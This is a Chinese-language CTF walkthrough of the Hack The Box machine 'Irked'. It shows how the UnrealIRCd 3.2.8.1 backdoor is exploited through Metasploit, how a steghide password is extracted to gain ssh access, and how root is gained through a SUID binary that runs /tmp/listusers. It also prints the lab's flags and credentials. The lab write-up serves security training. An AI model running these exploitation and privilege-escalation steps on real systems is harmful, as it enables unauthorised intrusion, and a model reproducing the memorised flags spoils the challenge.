0x00.前言
这世上有两种人,一种人生命的目的,并不是为了存在,而是为了燃烧,而另一种人却永远只有看着别人燃烧,让别人的光芒来照耀自己,究竟那种人才是聪明人。
0x01. 信息收集
开始之前先简述几个概念,
IRC:是一种基于文本的即时消息聊天系统,专为讨论论坛中的群组交流而设计,称为频道,但也允许通过私人消息以及聊天和数据传输进行一对一交流,包括文件共享。早期互联网的产物,现在基本很少有人用了。
UnrealIRCd:是一个开源 IRC 守护程序,最初基于 DreamForge,可用于类 Unix 操作系统和Windows。自 UnrealIRCd c 的开发开始以来。1999 年 5 月,添加和修改了许多新功能,包括高级安全功能和错误修复,它已成为流行的服务器。
irssi: 是一个基于终端的聊天客户端,用于通过 Internet 中继聊天 (IRC) 进行实时对话。
nmap -p- -min-rate 1000 10.10.10.117
nmap -p 22,80,111,6697,8067,56516,65534 -sC -sV -T4 10.10.10.117
开放端口:
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
6697/tcp open ircs-u
8067/tcp open infi-async
56516/tcp open unknown
65534/tcp open unknown

0x02.后门命令执行获取ircd用户shell
简而言之,这台服务器上运行了一个IRC聊天室,可以用irssi(kali可以通过apt下载)连接上聊天室,
irssi -c 10.10.10.117 --port 8067
发现irssi使用版本 Unreal3.2.8.1 ,如下:

可以通过Google查询在2010 年 6 月 12 日披露了一个后门命令执行,如下:

Msf也有相关payload,具体操作如下:
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit(unreal_ircd_3281_backdoor) > show targets
...targets...
msf exploit(unreal_ircd_3281_backdoor) > set TARGET < target-id >
msf exploit(unreal_ircd_3281_backdoor) > show options
...show and set options...
msf exploit(unreal_ircd_3281_backdoor) > exploit

执行后可以获得一个ircd用户的shell,使用python获取tty,
python3 -c 'import pty;pty.spawn("/bin/bash")'
0x03.图片隐写获取djmardov用户shell
有两个用户目录,可以在/home/djmardov/Documents下发现.backup,其内容为:
Super elite steg backup pw
UPupDOWNdownLRlrBAbaSSss
"steg backup"指向隐写术,因为隐写术的英文为
steganography,steg应该是其缩写。
浏览器访问80端口会得到一张图片,

隐写的内容就在图片中,下载图片并用steghide提取隐写内容,
wget http://10.10.10.117/irked.jpg
steghide extract -p UPupDOWNdownLRlrBAbaSSss -sf irked.jpg
提取的内容会保存在pass.txt中:
cat pass.txt
Kab6h+m+bbp2J:HG
得到一串字符串,是djmardov用户的ssh登录密码,
ssh djmardov@10.10.10.117
cat Documents/user.txt
4a66a78b12dc0e661a59d3f5c0267a8e

0x04.SUID提权
查找SUID文件,
find / -type f -perm -4000 2>/dev/null
注意到一个文件/usr/bin/viewuser,

通过在ltrace上执行可以发现该文件会将uid设置为0来执行/tmp/listusers中的命令,即使用root权限执行,

所以/tmp/listusers中写入恶意命令后执行即可得到root,如下:
printf '/bin/sh' > /tmp/listusers
chmod a+x /tmp/listusers
/usr/bin/viewuser

root.txt:8d8e9e8be64654b6dccc3bff4522daf3

参考文章:
https://0xdf.gitlab.io/2019/04/27/htb-irked.html#privesc-djmardov--root
https://vj0shii.medium.com/htb-irked-walkthrough-f8b584634eee
https://0xrick.github.io/hack-the-box/irked/#exploiting-viewuser-privilege-escalation-to-root

Comments | NOTHING